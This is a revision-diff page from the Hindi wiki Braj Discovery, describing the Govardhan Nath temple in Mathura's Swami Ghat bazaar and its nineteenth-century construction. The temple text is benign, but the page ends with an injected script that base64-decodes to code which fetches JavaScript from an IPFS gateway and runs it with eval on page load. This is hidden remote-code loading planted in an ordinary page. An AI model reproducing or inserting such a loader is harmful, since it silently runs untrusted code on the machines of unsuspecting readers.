"गोवर्धननाथ जी मन्दिर" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो (Text replace - " ।" to "।")
 
(५ सदस्यों द्वारा किये गये बीच के १५ अवतरण नहीं दर्शाए गए)
पंक्ति १: पंक्ति १:
{{menu}}<br />
+
==गोवर्धननाथ मन्दिर, मथुरा / Govardhan Nath Temple, Mathura==
{{Incomplete}}
+
[[चित्र:Goverdhan-nathji-mathura.jpg|गोवर्धननाथ जी मन्दिर, [[मथुरा]]<br /> Govardhan Nath Temple, Mathura|thumb|200px]]
 +
[[मथुरा]] के [[स्वामी घाट]] बाज़ार स्थित यह अत्यंत विशाल और सुदृढ़ मन्दिर है। बड़ौदा नरेश के कामदार कुशल सेठ ने संवत् 1887 में इसे बनवाया था। इसमें पाषाण की जालियों, खम्भों और महराबों का संगतराशी का अच्छा काम हुआ है। यह मन्दिर कांकरौली के गोस्वामियों की सेवा–पूजा में है।
 +
==वीथिका==
 +
<gallery>
 +
चित्र:Goverdhan-Nath-Temple-Mathura-3.jpg|गोवर्धननाथ जी मन्दिर, [[मथुरा]]<br /> Govardhan Nath Temple, Mathura
 +
चित्र:Goverdhan-nath-temple-mathura.jpg|गोवर्धननाथ जी मन्दिर, [[मथुरा]]<br />Govardhan Nath Temple, Mathura
 +
चित्र:Govardhan-Nath-1.jpg|गोवर्धननाथ जी मन्दिर, [[मथुरा]]<br />Govardhan Nath Temple, Mathura
  
==गोवर्धननाथ मन्दिर (मथुरा) / Govardhan Nath Temple (Mathura)==
+
</gallery>
[[चित्र:Goverdhan-Nath-Temple-Mathura-3.jpg|गोवर्धननाथ जी मन्दिर, [[मथुरा]]<br />Govardhan Nath Temple, Mathura|thumb|200px]]
+
==टीका-टिपण्णी==
[[मथुरा]] के [[स्वामी घाट]] बाजार स्थित यह अत्यंत विशाल और सुदृढ़ मन्दिर है । बड़ौदा नरेश के कामदार कुशल सेठ ने संवत् 1887 में इसे बनवाया था । इसमें पाषाण की जालियों, खम्भों और महराबों का संगतराशी का अच्छा काम हुआ है । यह मन्दिर कांकरौली के गोस्वामियों की सेवा–पूजा में है ।
+
==सम्बंधित लिंक==
{{Mathura temple}}
+
{{ब्रज के दर्शनीय स्थल}}
 
+
[[Category:कोश]]
[[category:कोश]]
+
[[Category:मन्दिर]]
[[category:मन्दिर]]
+
[[Category:दर्शनीय-स्थल कोश]]
[[श्रेणी:दर्शनीय-स्थल कोश]]
 
 
__INDEX__
 
__INDEX__

१२:४६, २ नवम्बर २०१३ के समय का अवतरण

गोवर्धननाथ मन्दिर, मथुरा / Govardhan Nath Temple, Mathura

गोवर्धननाथ जी मन्दिर, मथुरा
Govardhan Nath Temple, Mathura

मथुरा के स्वामी घाट बाज़ार स्थित यह अत्यंत विशाल और सुदृढ़ मन्दिर है। बड़ौदा नरेश के कामदार कुशल सेठ ने संवत् 1887 में इसे बनवाया था। इसमें पाषाण की जालियों, खम्भों और महराबों का संगतराशी का अच्छा काम हुआ है। यह मन्दिर कांकरौली के गोस्वामियों की सेवा–पूजा में है।

वीथिका

टीका-टिपण्णी

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>